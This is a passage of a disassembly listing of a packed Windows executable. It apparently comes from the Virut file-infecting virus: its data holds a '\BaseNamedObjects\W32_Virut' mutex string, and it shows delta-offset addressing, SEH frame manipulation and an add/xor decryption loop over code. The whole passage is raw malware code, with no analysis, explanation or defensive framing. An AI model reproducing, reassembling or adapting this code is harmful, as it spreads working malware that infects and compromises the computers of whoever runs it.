loc_309094C3 push edx call sub_30908DE9 pop edx loc_309094C3: ; CODE XREF: sub_30909215+2A5j mov ecx, [ebp+4039AEh] jecxz short loc_309094CE mov [ebx+28h], ecx loc_309094CE: ; CODE XREF: sub_30909215+2B4j mov ecx, [edx+10h] mov eax, [ebp+403976h] cmp [edx+8], ecx jnb short loc_309094DF mov [edx+8], ecx loc_309094DF: ; CODE XREF: sub_30909215+2C5j add [edx+10h], eax and dword ptr [ebx+58h], 0 mov eax, [ebp+40397Ah] push 243Ch add [edx+8], eax pop ecx add [ebx+50h], eax mov dl, [ebp+40342Fh] test dword ptr [ebp+403431h], 10000000h jz short loc_30909510 add ecx, [ebp+40106Dh] loc_30909510: ; CODE XREF: sub_30909215+2F3j mov dh, 0 test dword ptr [ebp+403431h], 20000h jnz short loc_30909532 inc dh test dword ptr [ebp+403431h], 40000h jnz short loc_30909532 mov dh, [ebp+403430h] loc_30909532: ; CODE XREF: sub_30909215+307j ; sub_30909215+315j test dword ptr [ebp+403431h], 4000h jnz short loc_30909549 loc_3090953E: ; CODE XREF: sub_30909215+330j mov al, [edi] add al, dl stosb add dl, dh loop loc_3090953E jmp short loc_30909552 ; --------------------------------------------------------------------------- loc_30909549: ; CODE XREF: sub_30909215+327j ; sub_30909215+33Bj mov al, [edi] xor al, dl stosb add dl, dh loop loc_30909549 loc_30909552: ; CODE XREF: UPX2:30909210j ; sub_30909215+11j ... xor edx, edx mov esp, fs:[edx] pop dword ptr fs:[edx] pop eax sub_30909215 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_3090955B proc near ; CODE XREF: sub_30909215+11Cp cmp dword ptr [ebp+403956h], 0 jz locret_309090F0 push dword ptr [ebp+403972h] call dword ptr [ebp+4035C4h] loc_30909574: ; CODE XREF: sub_3090901F+C5j push dword ptr [ebp+40396Eh] call dword ptr [ebp+40353Ch] lea ecx, [ebp+40395Ah] lea edx, [ebp+403962h] push ecx push edx push 0 push dword ptr [ebp+403956h] call dword ptr [ebp+4035B8h] loc_3090959C: ; CODE XREF: sub_3090901F+6Bj ; sub_3090901F+82j ... push dword ptr [ebp+403956h] call dword ptr [ebp+40353Ch] loc_309095A8: ; CODE XREF: sub_3090901F+45j lea esi, [ebp+40384Eh] push dword ptr [ebp+403952h] push esi call dword ptr [ebp+4035B4h] and dword ptr [ebp+403956h], 0 retn sub_3090955B endp ; --------------------------------------------------------------------------- db 0E8h align 8 dd 81016A5Dh, 403349EDh, 0FF05800h, 158085C1h, 0C0850040h dd 0FFC883C3h, 85C10FF0h, 401580h, 103DC3h, 1C75002Ah dd 247C8166h, 75716C0Ch, 0C4E86013h, 75FFFFFFh, 0FB7EE805h dd 0D2E8FFFFh, 61FFFFFFh, 782DFF2Eh, 0B8123456h, 25h, 0FFA5E860h dd 3975FFFFh, 3024448Bh, 384EB58Dh, 508B0040h, 3A816608h dd 25730206h, 6856h, 0C48B00FFh, 5052006Ah, 35F895FFh dd 0C4830040h, 5C3E8108h, 755C3F3Fh, 4C68303h, 0FFFB2BE8h dd 0FF7FE8FFh, 0C361FFFFh, 74B8h, 0B8B1EB00h, 2Fh, 10E8h dd 20C200h, 30B8h, 3E800h, 24C20000h, 24548D00h, 832ECD0Ch dd 197C00F8h, 0E860h, 548B0000h, 8B5D3024h, 13ED811Ah dd 0E8004034h, 0FFFFE539h, 4C261h, 6030201h, 0F4100507h dd 55803DECh, 119415FFh, 5B900100h, 59E8h, 24648B00h, 4EBB808h dd 0FAEB0000h, 18A16764h, 30408B00h, 240B60Fh, 7500F883h dd 0E83Ch, 815D0000h, 402320EDh, 67858B00h, 3004023h, 40236F85h dd 8BF08B00h, 40236B85h, 6F850300h, 50004023h, 0C933FE8Bh dd 778532ACh, 0AA004023h, 738D3B41h, 7C004023h, 0C02BC3EFh dd 6430FF64h, 78B82089h, 87123456h, 500003h, 6B0000h, 90000000h dd 21h dup(0) dd 63000000h, 0DE77E779h, 7D77E737h, 0FD77F515h, 77E7A5h dd 2 dup(0) dd 72000000h, 3777E746h, 9777E7A8h, 0B877E777h, 8377E61Bh dd 3777E7AAh, 0E777E7ACh, 4977EBB1h, 2477E73Ch, 0AB77E794h dd 0EF77E74Ch, 0E277E793h, 9377E73Ch, 8F77E79Fh, 3477E6AFh dd 8677E6ADh, 5777E7C4h, 0D877E7C6h, 7677E805h, 1577E74Dh dd 0B777E7C8h, 9577E706h, 0E977EBA5h, 9677EBA6h, 1A77E703h dd 0E677E701h, 4C77E61Bh, 9077E77Ch, 0A77E750h, 8C77E798h dd 6377E79Dh, 377F7E4h, 0A377F7E6h, 0B377F7E6h, 0D377F7E6h dd 7377F7E6h, 0F377F7EAh, 6377F7EAh, 4377F7EBh, 377F7ECh dd 3377F7F5h, 77F526h, 15h dup(0) dd 380036h, 309098D8h, 42005Ch, 730061h, 4E0065h, 6D0061h dd 640065h, 62004Fh, 65006Ah, 740063h, 5C0073h, 330057h dd 5F0032h, 690056h, 740072h, 75h, 0BBh dup(0) dd 7900h, 0Ch dup(0) dd 0FDF00000h, 7Fh, 18F2h dup(0) UPX2 ends ; Section 4. (virtual address 00010000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 00010000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata2 segment para public 'DATA' use32 assume cs:_idata2 ;org 30910000h dd 80h dup(0) align 1000h _idata2 ends end start